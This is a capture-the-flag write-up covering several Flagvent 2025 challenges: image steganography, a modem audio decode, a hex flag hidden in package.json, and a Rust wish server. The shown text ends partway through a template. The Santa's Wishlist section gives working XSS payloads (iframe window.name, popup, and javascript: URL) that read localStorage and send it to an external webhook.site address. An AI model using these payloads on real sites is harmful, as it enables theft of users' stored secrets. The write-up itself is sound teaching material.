FV25.05

Challenge

FV25.05 - pink

🩷🍧🌸🌷🦩

Categories: funFUN
Level: medium
Author: coderion
Attachments:
📦 ping.tar.gz

The download has a single image, pink.png.

Solution

File Enumeration

The file looks like a standard PNG with file:

oxdf@hacky$ file pink.png 
pink.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlace

It won’t open in my default viewer on Linux:

image-20251205165042966

It does open in Firefox:

image-20251205165101765

exiftool shows something interesting:

oxdf@hacky$ exiftool pink.png
ExifTool Version Number         : 12.76
File Name                       : pink.png
Directory                       : .
File Size                       : 34 kB
File Modification Date/Time     : 2025:11:24 18:19:35+00:00
File Access Date/Time           : 2025:12:05 17:02:53+00:00
File Inode Change Date/Time     : 2025:12:05 17:02:46+00:00
File Permissions                : -rwxrwx---
File Type                       : APNG
File Type Extension             : png
MIME Type                       : image/apng
Image Width                     : 200
Image Height                    : 200
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Animation Frames                : 29
Animation Plays                 : inf
Image Size                      : 200x200
Megapixels                      : 0.040

It’s an animated portable network graphics (APNG) file, with 29 frames.

Extract Frame

I’ll extract each frame to examine them individually:

oxdf@hacky$ mkdir frames
oxdf@hacky$ ffmpeg -i pink.png -vsync 0 frames/frame_%03d.png
ffmpeg version 6.1.1-3ubuntu5 Copyright (c) 2000-2023 the FFmpeg developers
  built with gcc 13 (Ubuntu 13.2.0-23ubuntu3)
  configuration: --prefix=/usr --extra-version=3ubuntu5 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --disable-omx --enable-gnutls --enable-libaom --enable-libass --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libdav1d --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable-libgme --enable-libgsm --enable-libharfbuzz --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-openal --enable-opencl --enable-opengl --disable-sndio --enable-libvpl --disable-libmfx --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-ladspa --enable-libbluray --enable-libjack --enable-libpulse --enable-librabbitmq --enable-librist --enable-libsrt --enable-libssh --enable-libsvtav1 --enable-libx264 --enable-libzmq --enable-libzvbi --enable-lv2 --enable-sdl2 --enable-libplacebo --enable-librav1e --enable-pocketsphinx --enable-librsvg --enable-libjxl --enable-shared
  libavutil      58. 29.100 / 58. 29.100
  libavcodec     60. 31.102 / 60. 31.102
  libavformat    60. 16.100 / 60. 16.100
  libavdevice    60.  3.100 / 60.  3.100
  libavfilter     9. 12.100 /  9. 12.100
  libswscale      7.  5.100 /  7.  5.100
  libswresample   4. 12.100 /  4. 12.100
  libpostproc    57.  3.100 / 57.  3.100
-vsync is deprecated. Use -fps_mode
Passing a number to -vsync is deprecated, use a string argument as described in the manual.
Input #0, apng, from 'pink.png':
  Duration: N/A, bitrate: N/A
  Stream #0:0: Video: apng, rgba(pc, gbr/unknown/unknown), 200x200, 2 fps, 2 tbr, 100k tbn
Stream mapping:
  Stream #0:0 -> #0:0 (apng (native) -> png (native))
Press [q] to stop, [?] for help
Output #0, image2, to 'frames/frame_%03d.png':
  Metadata:
    encoder         : Lavf60.16.100
  Stream #0:0: Video: png, rgba(pc, gbr/unknown/unknown, progressive), 200x200, q=2-31, 200 kb/s, 2 fps, 2 tbn
    Metadata:
      encoder         : Lavc60.31.102 png
[out#0/image2 @ 0x619e8cb45c80] video:26kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown
frame=   29 fps=0.0 q=-0.0 Lsize=N/A time=00:00:14.00 bitrate=N/A speed= 508x

This generates 29 individual PNGs:

oxdf@hacky$ ls frames
frame_001.png  frame_006.png  frame_011.png  frame_016.png  frame_021.png  frame_026.png
frame_002.png  frame_007.png  frame_012.png  frame_017.png  frame_022.png  frame_027.png
frame_003.png  frame_008.png  frame_013.png  frame_018.png  frame_023.png  frame_028.png
frame_004.png  frame_009.png  frame_014.png  frame_019.png  frame_024.png  frame_029.png
frame_005.png  frame_010.png  frame_015.png  frame_020.png  frame_025.png
oxdf@hacky$ file frames/*
frames/frame_001.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_002.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_003.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_004.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_005.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_006.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_007.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_008.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_009.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_010.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_011.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_012.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_013.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_014.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_015.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_016.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_017.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_018.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_019.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_020.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_021.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_022.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_023.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_024.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_025.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_026.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_027.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_028.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_029.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced

Each one just appears to be a pink square:

image-20251205165413020

Examine Colors

To get a look at the images more closely, I’ll use Python and the PIL library:

oxdf@hacky$ python
Python 3.12.3 (main, Nov  6 2025, 13:44:16) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from PIL import Image
>>> img = Image.open('frames/frame_001.png')
>>> img
<PIL.PngImagePlugin.PngImageFile image mode=RGBA size=200x200 at 0x7018A78EB6B0>

A really useful check is the getcolors method:

>>> img.getcolors()
[(39930, (255, 192, 203, 255)), (70, (255, 192, 204, 255))]

Each item has a number of pixels, and then the values that describe the color of that pixel as red, green, blue, and alpha values. So the first image has 39930 pixels of the color 255, 192, 203, 255, and 70 of the color 255, 192, 204, 255 (just 1 larger in the blue value).

70 is interesting, because it’s the ASCII value for “F”.

I’ll check the second image:

>>> img = Image.open('frames/frame_002.png')
>>> img.getcolors()
[(39914, (255, 192, 203, 255)), (86, (255, 192, 204, 255))]

86 is ASCII for “V”! Doing this for all the images generates the flag:

>>> for i in range(1, 30):
...     img = Image.open(f'frames/frame_{i:03}.png')
...     print(chr(img.getcolors()[1][0]), end='')
... 
FV25{WE_LOVE_COUNTING_PIXELS}

Flag: FV25{WE_LOVE_COUNTING_PIXELS}

FV25.06

Challenge

FV25.06 - Santa's Wishlist

I made a cool wishlist application where you can share your christmas wishes with santa!

Categories: webWEB
Level: medium
Author: coderion
Attachments:
📦 santas-wishlist.tar.gz
Spawnable Instance: WebWeb

The challenge comes with a spawnable as well as a download with the source.

Solution

Website

The website starts by asking for a name:

image-20251213070250690

On entering one, it loads a new page:

image-20251213070310116

I’ll note that the URL didn’t change, so this is all being done in JavaScript locally. If I add a wish, it shows up on the page:

image-20251213070345502

If I load the page in another browser and give a different name, I’ll notice that the other user’s wishes are present:

image-20251213070520099

When I give a name, the page loads the new view locally, and the name is never sent to the server. There is a GET request to /notes, which returns JSON with the wishlist:

HTTP/1.1 200 OK
Content-Length: 46
Content-Type: application/json; charset=utf-8
Date: Sat, 13 Dec 2025 12:04:41 GMT
Etag: W/"2e-9AuXn/uyXdtM7OF3jnmcsJrcnRc"
X-Powered-By: Express

{"notes":[{"note":"Flags","username":"0xdf"}]}

If I open a new tab in the same browser, the name page loads for a second, and then it disappears and loads the wishlist page. The username is stored in local storage for the site:

image-20251213070742397

Clicking the “Report to Admin” button will show a message saying it’ll be checked soon:

image-20251213072036054

This sends a POST to /report with the URL of the current instance as the parameter:

POST /report HTTP/1.1
Host: 67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/
Content-Type: application/json
Content-Length: 80
Origin: https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{"url":"https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/"}

Source

The downloadable extracts a folder with the source for the website:

oxdf@hacky$ ls santas-wishlist
bot.js  Dockerfile  index.html  package.json  server.js

The Dockerfile shows how the site is configured:

FROM node:18-slim

RUN apt-get update && apt-get install -y \
    wget \
    ca-certificates \
    fonts-liberation \
    libappindicator3-1 \
    libasound2 \
    libatk-bridge2.0-0 \
    libatk1.0-0 \
    libcups2 \
    libdbus-1-3 \
    libgdk-pixbuf2.0-0 \
    libnspr4 \
    libnss3 \
    libx11-xcb1 \
    libxcomposite1 \
    libxdamage1 \
    libxrandr2 \
    xdg-utils \
    libgbm1 \
    libxshmfence1 \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

COPY package*.json ./

RUN npm install

RUN npx playwright install firefox

COPY . .

EXPOSE 3000

ENV PORT=3000

# Start the application
CMD ["node", "server.js"]

Most of the installed stuff is to support the headless Chromium browser. Playwright is a framework for testing web apps using automated browsers.

bot.js uses Playwright to export a function named visit:

const { firefox } = require('playwright');

const FLAG = process.env.FLAG || 'FLAG{example-flag}';

async function visit(url) {
    console.log(`[Bot] Visiting: ${url}`);

    let browser;
    try {
        browser = await firefox.launch({
            headless: true,
        });

        const context = await browser.newContext();
        const page = await context.newPage();
        page.setDefaultTimeout(10000);

        try {
            await page.goto('http://localhost:3000', {
                waitUntil: 'networkidle',
                timeout: 10000
            });

            await page.evaluate((flag) => {
                localStorage.setItem('flag', flag);
            }, FLAG);
            console.log('[Bot] Flag placed. Now do get it :)');

            console.log('[Bot] Visiting URL...');
            await page.goto(url, {
                waitUntil: 'networkidle',
                timeout: 10000
            });

            await page.waitForTimeout(10000);

            console.log('[Bot] Visit completed');
        } catch (error) {
            console.log('[Bot] Error during visit:', error.message);
        }

    } catch (error) {
        console.error('[Bot] Fatal error:', error);
    } finally {
        if (browser) {
            await browser.close();
        }
    }
}

module.exports = { visit };

Each time this is called, it will launch a headless Chromium instance, visit http://localhost:3000, set the flag into local storage for that site, and then visits the given URL. These actions show that I need to get the bot to somehow run JavaScript to get the flag from local storage and exfil it to me.

server.js uses ExpressJS to serve the page, explicitly defining the three endpoints I’ve already interacted with:

  • GET /notes - Returns all the notes as JSON
  • POST /notes - Adds a note; requires a note and username as POST parameters
  • POST /report - Calls the visit function on a provided url parameter.

It also implicitly defines / with app.use(express.static('.'));, which serves static files from the current directory which has an index.html page.

Vulnerability

The vulnerability is in lines 114-122 of index.html:

if (localStorage.getItem('username')) {
    name = localStorage.getItem('username');
}

if (name) {
    setTimeout(()=>{showApp()}, 1000);
} else {
    document.getElementById('username-prompt').style.display = 'block';
}

The name variable is special, as when it isn’t defined with a let / var / const, it refers to window.name, a special variable that used as “the name for the window’s browsing context”. If I can get the bot’s browser’s window.name set with an XSS payload, I can get the flag.

#1 Exploit via iFrame

For this to work, I need to make an HTML page that loads the CTF site in an iFrame. I’ll create a simple page:

<!DOCTYPE html>
<html>
  <body>
    <script>
      var iframe = document.createElement('iframe');
      iframe.name = "<img src=x onerror=\"fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flag='+localStorage.getItem('flag'))\">";
      iframe.src = "http://localhost:3000/";
      document.body.appendChild(iframe);
    </script>
  </body>
</html>

This creates an iframe, sets the window.name in that context to an XSS payload that will send the flag to me, and then loads the iframe. I’ll host this with ngrok, and trigger it:

oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d '{"url": "https://6c3f80c9a1fa.ngrok-free.app/exploit.html"}'
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}

30 seconds later, there’s a request at my Python HTTP server behind ngrok:

$ python -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
127.0.0.1 - - [13/Dec/2025 07:42:34] "GET /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [13/Dec/2025 07:42:35] code 404, message File not found
127.0.0.1 - - [13/Dec/2025 07:42:35] "GET /favicon.ico HTTP/1.1" 404 -

And then the flag at webhook.site:

image-20251213074808719

#2 Exploit via popup

A similar approach is a popup payload:

<!DOCTYPE html>
<html>
  <body>
    <script>
      var xss = "<img src=x onerror=\"fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagpopup='+localStorage.getItem('flag'))\">";
      var w = window.open("http://localhost:3000/", xss, "popup");
    </script>
  </body>
</html>

This works similarly to the iframe but using the window.open API, which takes the following parameters:

open(url, target, windowFeature)

target:

A string, without whitespace, specifying the name of the browsing context the resource is being loaded into. If the name doesn’t identify an existing context, a new context is created and given the specified name.

So by setting the target to the XSS payload, I can abuse the name variable to get the XSS in place. Setting windowFeature to “popup” will open a new window.

I’ll trigger that:

oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d '{"url": "https://6c3f80c9a1fa.ngrok-free.app/popup.html"}'
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}

And get the flag:

image-20251213075604679

#3 Exploit via JavaScript URL

There’s also a way to exploit Santa’s Wishlist using [JavaScript URLs](https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Schemes/javascript, an unintended method that skips window.name all together. The bot goes to http://localhost:3000/, sets the flag, and then visits the URL. For a typical URL, that takes the browser off to another pace. But there is a JavaScript URL that will run JavaScript in the context of the current window. The payload looks like:

javascript:fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagjsurl='+localStorage.getItem('flag'))

When the bot calls page.goto(<javascript url>), it runs in the context of http://localhost:3000, which means that the localStorage.getItem('flag') will get the flag.

I’ll trigger this with curl:

oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d "{\"url\": \"javascript:fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagjsurl='+localStorage.getItem('flag'))\"}"
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}

And the flag arrives at webhook.site:

image-20251213080233028

Flag: FV25{w1nd0w_d0t_n4m3_sh4r3d}

FV25.H1

Challenge

FV25.H1 - Christmas Metadata

This extra flag is hidden inside another challenge.

Categories: hiddenHIDDEN
Level: hidden
Author: hidden

Solution

In Day 6 Santa’s Wishlist, one of the files is a package.json:

oxdf@hacky$ ls
bot.js  Dockerfile  index.html  package.json  server.js

This has metadata for the challenge:

{
  "name": "santas-wishlist-ctf",
  "version": "1.0.0",
  "description": "Santa's Wishlist",
  "main": "server.js",
  "scripts": {
    "start": "node server.js",
    "install-playwright": "npx playwright install firefox"
  },
  "keywords": ["ctf", "xss", "security"],
  "author": "",
  "license": "MIT",
  "dependencies": {
    "express": "^4.18.2",
    "playwright": "^1.40.0"
  },
  "challenge-runtime": "docker",
  "challenge-port": "3000",
  "challenge-commit-sha": "465632357b68316464656e5f316e5f706c34316e5f73316768747d0a"
}

The challenge-commit-sha field is hex data, and it’s even 56 characters, which is the right length for a SHA-224 hash:

oxdf@hacky$ cat package.json | jq '.["challenge-commit-sha"]' -r | wc -c
57

Still, it starts with 46 == “F”, 56 == “V”, 32 == “2”, 35 == “5”, and it’s the flag in hex:

oxdf@hacky$ cat package.json | jq '.["challenge-commit-sha"]' -r | xxd -r -p
FV25{h1dden_1n_pl41n_s1ght}

Flag: FV25{h1dden_1n_pl41n_s1ght}

FV25.07

Challenge

FV25.07 - Captured Noise

Rudolph wanted to make a call, but when he took off the phone headset, he heard some strange sounds.

Categories: funFUN
Level: medium
Author: lukyluke_ch
Attachments:
📦 captured-noise.tar.gz

The download archive contains a single file, captured.wav.

Solution

Decode Modem

Listening to the audio sounds like a modem. I’ll generate a spectrogram as well:

oxdf@hacky$ sox captured.wav -n spectrogram -o spectrogram.png 

This image shows the bright white/yellow where the majority of the sound is:

In this case, that’s between 1.1 kHz and 2.2kHz. Claude suggests dial-up modems as one of the options:

image-20251207151322826

minimodem will decode modem input into data. I’ll have to give it a baud-rate. Wikipedia has a page that includes a list of dial-up speeds, which includes common baud rates. When I try others, nothing comes out, but when I give it 1200, it works:

oxdf@hacky$ minimodem -f captured.wav 2200
oxdf@hacky$ minimodem -f captured.wav 300
oxdf@hacky$ minimodem -f captured.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
 █████   █████    ███████    █████       █████       █████ █████     ████████     █████       █████       █████
░░███   ░░███   ███░░░░░███ ░░███       ░░███       ░░███ ░░███     ███░░░░███  ███░░░███   ███░░░███   ███░░░███
 ░███    ░███  ███     ░░███ ░███        ░███        ░░███ ███     ░███   ░███ ███   ░░███ ███   ░░███ ███   ░░███
 ░███████████ ░███      ░███ ░███        ░███         ░░█████      ░░█████████░███    ░███░███    ░███░███    ░███
 ░███░░░░░███ ░███      ░███ ░███        ░███          ░░███        ░░░░░░░███░███    ░███░███    ░███░███    ░███
 ░███    ░███ ░░███     ███  ░███      █ ░███      █    ░███        ███   ░███░░███   ███ ░░███   ███ ░░███   ███
 █████   █████ ░░░███████░   ███████████ ███████████    █████      ░░████████  ░░░█████░   ░░░█████░   ░░░█████░
░░░░░   ░░░░░    ░░░░░░░    ░░░░░░░░░░░ ░░░░░░░░░░░    ░░░░░        ░░░░░░░░     ░░░░░░      ░░░░░░      ░░░░░░


The Holly 9000 is an interactive AI which captures wishes from all over the world and produces presents on demand.

Please verify yourself:
User> Santa


Thanks you Santa, please resolve the challenge: http://ranta.ch/fv25/holly-9000/

Verification> It is me, Santa

Well done, the verification was successful.


Command> ?
Play
Start
List
Exit


Command> Play
Listen to some nice tunes: http://ranta.ch/fv25/holly-9000/player.html


Command> List

#       Name    Naughty/Nice    Wish
1       Aaron Mills     Nice    A mechanical keyboard
2       Abigail Hart    Naughty A "behave" handbook
3       Adrian Cole     Nice    Noise-cancelling headphones
4       Aisha Khan      Nice    A cozy wool blanket
5       Alan Reeves     Naughty An apology journal
6       Alex Park       Nice    A camera drone
7       Alice Monroe    Nice    A watercolor set
8       Alicia Torres   Naughty A time-management planner
9       Allan Briggs    Nice    A set of chef knives
10      Amanda Lee      Nice    A bonsai starter kit
11      Amber Flynn     Naughty A cookbook for polite guests
12      Amelia Stone    Nice    A telescope
13      Andre Novak     Nice    A vintage record player
14      Andrew White    Naughty A book on empathy
15      Angela Ross     Nice    A spa gift box
16      Anita Desai     Nice    A language learning app subscription
17      Anna Wu Naughty A gardening manual (for neighbors)
18      Anthony Cruz    Nice    A portable espresso maker
19      April Benson    Naughty A "how to listen" course
20      Ariel Gordon    Nice    A leather journal
21      Arnold Price    Naughty A kid’s manners book
22      Ashley Kim      Nice    A silk scarf
23      Ashton Velez    Nice    A set of board games
24      Audrey Park     Naughty A noise-reduction device
25      Austin Hayes    Nice    A fitness tracker
26      Ava Bennett     Nice    A handcrafted necklace
27      Barbara Klein   Naughty A declutter starter kit
28      Ben Carter      Nice    A portable projector
29      Bethany Cole    Nice    An indoor herb garden kit
30      Bianca Ramos    Naughty A budget planner
31      Blake Turner    Nice    A pair of hiking boots
32      Brandon Scott   Naughty A conflict-resolution book
33      Brenda Ortiz    Nice    A pottery class voucher
34      Brian Fox       Nice    A smart home speaker
35      Brianna Lake    Naughty A punctuality alarm clock
36      Brock Mason     Nice    A barbecue tool set
37      Brooke Daniels  Nice    A handwoven throw
38      Caleb Rhodes    Naughty A "roommate etiquette" guide
39      Camila Silva    Nice    A digital art tablet
40      Candice Owens   Naughty A listening skills workbook
41      Carl Meyer      Nice    A whiskey tasting kit
42      Carly Nguyen    Nice    A subscription box (books)
43      Carmen Lopez    Naughty A volunteer shift (charity)
44      Carter Lane     Nice    A smartwatch
45      Cassandra Pike  Nice    A concert ticket voucher
46      Charles Beck    Naughty A cooking class (to share)
47      Charlotte Gale  Nice    A yoga mat + classes
48      Chloe Winters   Nice    A film photography starter kit
49      Chris O'Neil    Naughty A "stop interrupting" badge

Press Enter to Continue...
Command>

50      Christian Ford  Nice    A weekend getaway voucher
51      Christine Shaw  Naughty A recipe for patience
52      Claire Bennett  Nice    A specialty tea collection
53      Claudia Ruiz    Nice    A sewing machine
54      Cody Wallace    Naughty A manners refresher course
55      Colin Hartman   Nice    A woodworking starter set
56      Courtney Price  Nice    A gourmet chocolate box
57      Craig Nolan     Naughty A library fine to pay (metaphorically)
58      Crystal Vega    Nice    A fitness class pass
59      Curtis Lane     Naughty A volunteer apology letter kit
60      Cynthia Morales Nice    A personalized cookbook
61      Daisy Ford      Nice    A set of scented candles
62      Damian Cross    Naughty A mediation app subscription
63      Dana Blake      Nice    A pottery wheel session
64      Daniel Ortiz    Nice    A vintage watch
65      Daniela Russo   Naughty A "think before you speak" poster
66      Darren Cole     Nice    A gourmet spice rack
67      David Kim       Nice    A high-end backpack
68      Dawn Ellis      Naughty A neighborhood goodwill task
69      Dean Harper     Nice    A drone photography lesson
70      Deborah Lane    Nice    A floral arranging kit
71      Derek Shaw      Naughty A punctuality training calendar
72      Diana Flores    Nice    A subscription to a science magazine
73      Dominic Price   Naughty A manners tea party invite
74      Donna Hale      Nice    A luxury robe
75      Dylan Nguyen    Nice    A coding course
76      Edith Palmer    Naughty A kindness challenge pack
77      Edward Miles    Nice    A gourmet coffee subscription
78      Eleanor West    Nice    A handcrafted pottery set
79      Elijah Grant    Naughty A neighborhood repair volunteer day
80      Elizabeth Young Nice    A set of classic novels
81      Ella Morrison   Nice    A bakeware set
82      Emily Dawson    Naughty A noise-awareness program
83      Emma Brooks     Nice    A botanical print set
84      Eric Wallace    Nice    A barbecue smoker
85      Erin Gilbert    Naughty A civil-conversation class
86      Ethan Russell   Nice    A mountain bike
87      Eva Sinclair    Naughty A book on thoughtful communication
88      Evan Price      Nice    A VR headset
89      Faith Jordan    Nice    A handmade quilt
90      Felix Navarro   Naughty A community service voucher
91      Fiona Chen      Nice    A silk pillowcase set
92      Gabriella Diaz  Nice    A film festival pass
93      Gary Banks      Naughty A time capsule of apologies
94      Gemma Reeves    Nice    A designer handbag
95      George Holt     Naughty A "show up on time" watch
96      Grace Kim       Nice    A watercolor class subscription
97      Greg Owens      Naughty A cooperation board game
98      Hannah Bishop   Nice    A musical instrument (ukulele)
99      Harry Stone     Naughty A patience-building puzzle set
100     Hazel Murray    Nice    A solar-powered charger

Press Enter to Continue...
Command>

101     Hector Morales  Naughty A community garden shift
102     Holly Price     Nice    A weekend yoga retreat
103     Howard Finch    Naughty A neighborhood cleanup kit
104     Hugo Alvarez    Nice    A gourmet cheese-making kit

That's all...


Command> Exit

See you Soon Santa.
Exit...

### NOCARRIER ndata=7399 confidence=4.857 ampl=1.001 bps=1200.00 (rate perfect) ###

The data contains two URLs, http://ranta.ch/fv25/holly-9000/ and http://ranta.ch/fv25/holly-9000/player.html. It has a naughty/nice list with 104 names. That’s about it.

Website

player.html is just a 301 redirect to a RickRoll. The root has a website:

image-20251207152105908

There’s nothing too interesting here, but looking at the search, there’s in-line CSS for @flag-face:

image-20251207152233504

The range points given start with 46, 46, 32, 35, which are the hex values for FV25. I’ll use those to get the flag:

oxdf@hacky$ curl -s https://ranta.ch/fv25/holly-9000/ | tr '@' '\n' | grep flag-face
flag-face{format("flag"); unicode-range: U+46, U+56, U+32, U+35, U+7b, U+57, U+68, U+40, U+74, U+2d, U+41, U+2d, U+77, U+31, U+72, U+33, U+64, U+2d, U+4e, U+6f, U+31, U+73, U+65, U+7d}
oxdf@hacky$ curl -s https://ranta.ch/fv25/holly-9000/ | tr '@' '\n' | grep flag-face | grep -oP 'U\+..' | cut -d'+' -f2 | tr -d '\n' | xxd -r -p
FV25{Wh@t-A-w1r3d-No1se}

Flag: FV25{Wh@t-A-w1r3d-No1se}

FV25.17

Challenge

FV25.17 - Wish Server

As part of the digitalization effort, Santa set up an website for people to submit wishes. This way, they no longer need to fax in their wishlists.

Categories: webWEB miscMISC
Level: medium
Author: logicaloverflow
Attachments:
📦 wish-server.tar.gz
Spawnable Instance: WebWeb

The spawn button gives a website and the download contains the source for the site.

Enumeration

Website

The website is very basic:

image-20251222070339889

If I submit something, the form just resets. There is a POST request sent to /add_wish:

POST /add_wish HTTP/1.1
Host: 1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337
Referer: https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

wish=a+flag

Source

The download has the source for the site:

oxdf@hacky$ ls
Caddyfile  Cargo.lock  Cargo.toml  Dockerfile  src  start.sh  templates

The Dockerfile uses a Rust image to build the server, and then creates a Caddy container to run it using the Caddyfile:

FROM rust:1.91-alpine3.20 AS build

RUN apk add --no-cache musl-dev

RUN mkdir -p /wish-server
WORKDIR /wish-server


COPY ./Cargo.lock ./Cargo.lock
COPY ./Cargo.toml ./Cargo.toml
COPY ./src ./src

# build for release
RUN cargo build --release

FROM caddy:2.10.2-alpine

WORKDIR /root/
COPY --from=build /wish-server/target/release/wish-server .
COPY ./templates ./templates
COPY Caddyfile Caddyfile
COPY ./start.sh ./start.sh

EXPOSE 5825/tcp
CMD [ "./start.sh" ]

src has a single Rust file, main.rs. It defines a Rust web application with three routes that listenins on 5824:

#[tokio::main]
async fn main() {
    let shared_wishlist = SharedWishlist::default();

    let app = Router::new()
        .route("/", get(index))
        .route("/add_wish", post(add_wish))
        .route("/wishlist", get(wishlist))
        .with_state(shared_wishlist.clone());

    let listener = tokio::net::TcpListener::bind("127.0.0.1:5824")
        .await
        .expect("failed to bind");
    axum::serve(listener, app).await.expect("failed to serve");
}

Two of the three routes I’ve already interacted with, / and /add_wish. /wishlist is new.

index just returns the index.html template:

async fn index() -> Html<String> {
    let context = tera::Context::new();
    Html(
        TEMPLATES
            .render("index.html", &context)
            .expect("failed to render index.html"),
    )
}

add_wish handles adding wishes to the list:

async fn add_wish(State(list): State<SharedWishlist>, Form(wish): Form<WishForm>) -> Redirect {
    {
        let mut lock = list.write().expect("failed to get write lock");
        let list = &mut lock.latest_wishes;
        if list.len() == 8 {
            list.pop_front();
        }
        list.push_back(wish.wish);
    }
    Redirect::to("/")
}

The structure holds up to eight wishes. If it gets more, it loses old ones first-in-first-out. After updating the list, it redirects to /.

wishlist uses the wishlist.html template, putting the wishes object as well as the flag from an environment variable into the page:

async fn wishlist(State(list): State<SharedWishlist>) -> Html<String> {
    let wishes = {
        let lock = list.read().expect("failed to get read lock");
        lock.latest_wishes.iter().cloned().collect::<Vec<_>>()
    };

    let mut context = tera::Context::new();
    context.insert("wishes", &wishes);
    context.insert(
        "flag",
        &std::env::var("FLAG")
            .ok()
            .unwrap_or("FVXX{NOT_THE_FLAG}".to_string()),
    );

    Html(
        TEMPLATES
            .render("wishlist.html", &context)
            .expect("failed to render wishlist.html"),
    )
}

The template is:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Wish Server</title>
  </head>
  <body>
    <h1>Latest Wishes</h1>
    <ul>
      
    </ul>

    The flag is . Keep it save!

